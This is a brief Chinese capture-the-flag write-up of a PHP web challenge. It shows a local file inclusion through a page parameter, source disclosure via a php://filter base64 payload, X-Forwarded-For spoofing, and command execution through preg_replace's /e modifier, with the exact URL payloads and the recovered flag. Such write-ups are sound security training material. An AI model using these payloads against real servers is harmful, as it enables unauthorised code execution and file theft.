本文借鑒以下兩篇文章的指導
https://www.jianshu.com/p/5a502873635b
https://blog.csdn.net/about23/article/details/95349625
全部點擊一遍,只有這個可以有其他界面
題目描述是 “其他破壞者會利用工控雲管理系統設備維護中心的后門入侵系統”
在后面添加login.php 無果,御劍掃描也無結果,源碼也找不到其他東西
再次點擊上面的“雲平台設備維護中心”,URL欄有參數?page=index 存在get傳值
page的參數聯想到可能存在文件包含漏洞
引用上面的文章內容
LFI漏洞的黑盒判斷方法:
單純的從URL判斷的話,URL中path、dir、file、pag、page、archive、p、eng、語言文件等相關關鍵字眼的時候,可能存在文件包含漏洞
輸入數字沒啥用,嘗試讀取index.php的源碼,采用php偽協議
?page=php://filter/read=convert.base64-encode/resource=index.php
為什么中間要轉base64編碼,如果不轉碼,則相當於進行請求網頁(繼續打開網頁)
輸入payload得到一段base64
然后解碼,分析源碼
偽造XFF頭來登入系統,同時利用preg_replace函數的漏洞
preg_replace( pattern , replacement , subject ) :
當pre_replace的參數pattern輸入/e的時候 ,參數replacement的代碼當作PHP代碼執行
於是構造payload
/index.php?pat=/123/e&rep=system("find+-iname+flag")&sub=123
”+“號在url中會被解釋成空格號,這里用%20也行
用burpsuite來設置XFF頭
繼續查看 %26被url解釋成&號 用來連接命令
&& 前面命令為假直接報錯,后面語句不執行(前面命令執行成功,后面的命令也執行)
index.php?pat=/123/e&rep=system("cd+./s3chahahaDir/flag%26%26ls")&sub=123
最后的payload
index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123
得flag
cyberpeace{a3f41e3943e9bd48b8084b29e4b27182}